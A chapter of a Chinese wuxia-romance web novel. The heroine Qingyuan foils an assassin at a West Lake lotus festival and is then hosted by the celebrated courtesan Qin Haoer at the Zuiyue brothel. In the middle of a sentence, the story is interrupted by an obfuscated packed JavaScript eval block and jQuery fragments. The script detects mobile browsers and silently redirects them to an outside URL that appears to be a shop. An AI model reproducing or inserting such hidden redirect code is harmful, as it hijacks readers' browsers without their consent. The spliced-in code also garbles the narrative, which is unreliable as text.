9. 好儿姑娘
作品:《出师未捷身先嫁》 夜幕降临,华灯初上。
西子湖畔,荷花飘香。
盛夏时分,天气潮热,蚊虫猖狂,湖边的游人却摩肩接踵,围得西子湖畔水泄不通。
六月十五,正是临安城一年一度的赏荷盛会。
不止临安城,临安城周边的会稽、海宁县城的知名青楼,都会挑选人气最高的清倌名妓在这一天汇集于西子湖畔。
今夜,她们将为临安城的达官显贵、普通百姓,甚至只是路过的游人带来精彩的演出。
这是小歌妓一夜成名的机会。
不算出名的青楼有可能因为歌妓的成名而迎来接下来一整年不错的生意。
临安城有名的青楼并不算少,但青楼亦分三六九等。
在三十多所青楼中,名气最大、艺妓水准最高的,自然是北山酒巷中的醉月楼。
醉月楼并不大,客人却从不会少。
醉月楼的客人从不缺钱,醉月楼的收费却并不算高。
今晚,西子湖畔赏荷盛会邀来了醉月楼头牌名妓秦好儿压轴演出。
秦好儿名动江南。
青沅还没有踏入临安城时,就对这个名字早有耳闻。
没有人知道秦好儿芳龄几许。
没有人知道秦好儿身世如何。
没有人知道秦好儿为什么会流落风尘。
人们只知道她琴棋书画样样精通,吹拉弹唱无一不会。
秦好儿最拿手的是琵琶。
“琵琶弦上说相思。”
“嘈嘈切切错杂弹,大珠小珠落玉盘。”
“此曲只应天上有,人间哪得几回闻。”
据说醉月楼只招待“有缘人”的风气就是从秦好儿开始的。
一年之中,她的“有缘人”往往不足十个。
可今天,秦好儿却破天荒地接受了邀请,来到西子湖畔湖心亭公开弹奏。
青沅自然不会错过这个盛会。
她甚至在听到这个消息之后,就再也没有离开西湖。
她一定要亲眼目睹这场难得一见的属于江南的盛会。
***
这是青沅第一次看到秦好儿。
她身着一袭藕色的衫子,怀抱琵琶。
南风吹起衣衫,翩若惊鸿、婉若游龙,当真如凌波仙子一般。
她的皮肤很白,衣衫上的流苏在烛光下闪闪发光。
可容貌与气质只是她微不足道的优点。
她的琵琶惊天地泣鬼神,愉快的曲子能让一个刚死了爹妈的人会心一笑,悲伤的曲子能让一个刚中举的秀才怆然涕下。
比如现在。
青沅并不精通音律,但琵琶声响起的时候,她仿佛看到了山间的溪流。
回忆不由分说地闯入她的脑海。
那日在谷底、与他寻找山谷出路的画面随着琵琶之声在她的脑海中反复播放。
她已看到他缓慢艰难的步伐和充满节奏的松枝击打声与溪水的琮琮悦耳之声交杂在一起,可分明又是琵琶的乐声回荡在耳边。
两个月未曾见面,不知他现在在何处?
她忽然有些惆怅。
不知道为什么,当他的脸浮现在她心头,她的心跳得快了些,脸也不自觉发了烫。
“他长得很漂亮,可惜是个残废。”青沅不禁有些叹惋。
忽然,她看到了一个奇怪的人。
他的穿着并没什么奇怪之处,甚至极为普通。
一身干净的蓝布长袍,在人群之中简直泯然众人。
但他在移动。
她的身边挤满了人,没有人可以随意移动。
这个奇怪的人移得并不快,但他的确在动。
青沅从琵琶声中回过神来,她已紧紧盯上了这个奇怪的人。
蓝衫男子从她面前经过的时候,她甚至看到了他怀里的刀。
那柄刀并不算长,更不笨重。
但青沅知道,简捷轻便的刀往往更好用。
更重要的是,他的刀很锋利。
这两个月,青沅训练出了超乎常人的直觉。
她能感觉到他的刀上弥漫着陈旧的血腥味。
琵琶声已经停了。
青沅远远瞧见秦好儿起身谢幕。
她的身姿优雅,四围掌声雷动。
一个小丫鬟上台接过她的琵琶。
另一个丫鬟搬走了她用得油亮的檀木凳。
还有一个丫鬟搀扶着秦好儿走向后台。
她身姿曼妙——青沅看得出,秦好儿一定能跳出令人艳羡的舞蹈。
突然,秦好儿掉了一只鞋。
能看到这个细节的人并不多,但青沅已有了经验。
她的观察能力也远超两个月前。
那小丫鬟几乎是在鞋掉落的瞬间,就弯腰将秦好儿的鞋捡了起来,重新将它放到了秦好儿的玉足之下。
秦好儿很有经验。
她丝毫不慌乱。
这本就不该是什么令当事人慌乱、令观众唏嘘的场面。
毕竟掉鞋并不是什么稀罕的事——无论什么人都有可能在任何日子掉任何一只鞋子。
但青沅看到了其中的不同寻常。
秦好儿的鞋并不是自己掉的,而是被身边的丫鬟踩掉的。
但被人踩掉鞋也并不是什么稀罕的事情——无论什么人都有可能在任何日子被任何人踩掉任何一只鞋子。
但蓝衫男子和掉鞋同时出现总归有些不同寻常。
青沅留了神。
果不其然,小丫鬟为秦好儿穿鞋的一瞬间,蓝衫男子经过青沅的面前飞了出去!
青沅几乎没有思考,也跟着那蓝衫男子飞出身去!
她知道一个出名的人总会承担比普通人更多的风险。
她知道一个人越出名,就越容易引来身边人的嫉妒。
她知道出名的人的每一个无心之举,都会被预谋已久的敌人发现并巧妙地转化为可乘之机。
青沅当然不忍心看到一代名妓在自己眼前失去生命。
湖心亭离湖边并不算远。
即使水性很差,青沅也有自信用轻功追上这个藏了刀的蓝衫人。
蓝衫人还没有落在湖心岛时,青沅就已追上了他的衣角。
青沅并没有着急亮剑。她伸腿勾这蓝衫男子的下盘,试图将他绊倒。
蓝衫男子将双腿蜷起,向前翻了个跟头落在湖心岛之上。
湖心亭的妓女和丫鬟们早已乱作一团。
秦好儿也吓得跑下了台。
拿琴的丫鬟、搬凳的丫鬟和穿鞋的丫鬟紧紧地围在秦好儿的身边,保护这个名动江南的艺妓的安全。
青沅已亮了剑。
蓝衫男子还没有拔刀。
显然他的目标并不是青沅。
他的武器只留给名妓秦好儿。
但青沅绝不能让他靠近秦好儿。
月光下,她预判了他的方向,然后一剑刺出,以一招“驱云见月”逼上了他的后颈。
她当然不会一剑要了他的命,只是剑尖稍偏,滑落至他的肩头,然后趁机一个空翻,翻到蓝衫男子的侧边。
青沅只是为了隔挡蓝衫男子与江南名妓秦好儿。
蓝衫男子见来人是个女子,颇为惊讶。
他抽出了那把令青沅感到充满杀气的短刀。
刀光晃晃,将天上的满月映在湖水之中。
刀剑相交,无论是湖心岛上的艺妓丫鬟,还是湖边的观众都不禁捏了一把汗。
只见这蓝衫男子刀使得凌厉,青沅剑舞得空灵,短短时间已交了数十招。
但青沅知道,凌厉的刀法最大的优势是以快取胜。
倘若不能一击制胜,打得时间久了总是会逐渐疲乏。
蓝衫男子的刀依然很快,但青沅已能感受到对方每一刀的力道都在减退。
青沅的剑术却犹有耐性,甚至渐入佳境。
终于,青沅看准了蓝衫男子挥刀的间隙,凝集气力,这剑身的钝击不偏不倚打中了他的手腕。
蓝衫男子只感手腕一麻,刀已脱手。
青沅连忙上前,一剑刺入他的股骨。
柔和的月光下,一缕鲜血从蓝衫男子的大腿汩汩流出。他一个踉跄,跪倒在地。
官府的巡捕看蓝衫男子身上负伤,刀不在手,终于冲上前来,将这蓝衫男子押了下去。
青沅长舒一口气,从怀中掏出一块米黄色的手帕,轻轻擦拭剑尖的残血,然后收了剑,施展轻功,飞离湖心岛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092328|195483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“十步杀一人,千里不留名。”
这是青沅心目中大侠的姿态。
侠客一定是做好事不留名的。
可青沅还未起身,其中一个小丫鬟却开了口:“女侠留步。”
***
这是青沅第一次来青楼。
来青楼的女孩子不多。
来青楼的女孩子大部分会扮作男装。
但青沅不一样。
青沅是被秦好儿请来“醉月楼”的贵宾。
青沅不一定是秦好儿的“有缘人”,却实打实成为了秦好儿的恩人。
青沅舍命救秦好儿的英雄事迹被赏荷盛会在场的男女老少共同见证。
今夜,秦好儿要亲自为青沅弹奏一曲。
“救命之恩,无以为报。”
所有人都知道,只要秦好儿在醉月楼一天,青沅无论什么时候想听秦好儿的演奏,秦好儿都不会拒绝。
青沅的生活环境与青楼没有任何交集。
但她并不会对在青楼中工作的女人有什么偏见。
说到底,青沅明白,并不是每一个女孩子都像自己这样幸运,出生在一个还算富庶的家庭。
并不是每一个家庭都能吃得饱饭。
这个社会对于不得不外出谋生的女性是残忍的。
女性并没有那么多选择。
艺妓已是一份很不错的营生。
青沅并没有将自己的想法告诉秦好儿,因为她知道女孩子一定能感受到最本质的善意。
秦好儿很美,她身在风尘却不落凡尘。
这是青沅对秦好儿的第一印象。
青沅看不出秦好儿的芳龄。
她的皮肤没有一丝细纹,却有着超乎她皮囊的沉稳气质。
“杨姑娘年龄不大,却救了好儿的命。”秦好儿的声音极为动听。
青沅笑着道:“希望好儿姑娘没有受惊。”
她不愿意将自己放在很高的位子,于是迅速转移话题:“今日有幸听好儿姑娘的弹奏,真是此生无憾!”
秦好儿盈盈笑道:“杨姑娘什么时候来我们醉月楼,我秦好儿什么时候伺候。”
那踩掉秦好儿鞋的小丫鬟已托着檀木板进了屋。
木板上放着一只琥珀碗,碗里盛着晶莹剔透的面糊。
秦好儿亲自将那琥珀碗取下,递给青沅:“这是由我们西子湖畔中生长的莲藕磨成的粉所冲泡的藕粉,姑娘不妨品赏。”
青沅自幼生长在太行山脉,水资源稀缺,别说藕粉,连莲藕都极少吃过。
此时喝到洒着桂花粉的西湖藕粉,真是甘之如饴。
秦好儿已重新拿起琵琶,只见她手指如春葱般纤细长挑,青沅不知不觉就看得呆了。
这是一曲古曲。
“关关雎鸠,在河之洲。
窈窕淑女,君子好逑。”
秦好儿奏得悠长。
青沅仿佛看到了河边鸣叫的鸟儿。
她已看到一个鼓瑟吹笙的男子,望着河对岸的窈窕淑女痴痴地笑。
琵琶曲已奏到高潮。
青沅想到那男子辗转反侧,自己也跟着坐立不安起来。
她已分不清自己到底是沉浸在琵琶声中,还是爱上了弹奏琵琶的佳人。
她的脸已红得透了:“倘若我是个男儿,定会迷上这位秦好儿姑娘。”
青沅没有喝酒,却着实醉了。
她根本不知道琵琶曲是怎么结束的,因为她已昏睡过去很久了。
***
青沅醒来的时候,已躺在一张很大的床上。
被衾是由苏锦织成的,周身滑软,十分舒服。
也不知是白天太过劳累,还是秦好儿的演奏太过动听,她的头还有点昏沉,嗓子也有些干燥。
黑暗中,她摸到一张小木桌,桌上摆着一壶茶水。
她点亮了灯。
这是一间极为奢华的客房——如果没有记错,自己身在醉月楼里。
青沅推开了房门。
一个陌生的小丫鬟就候在她的房门外。
“杨姑娘醒啦。”小丫鬟面露喜色。
“嗯......”青沅忽然发现自己实在太渴,竟一时说不出话。

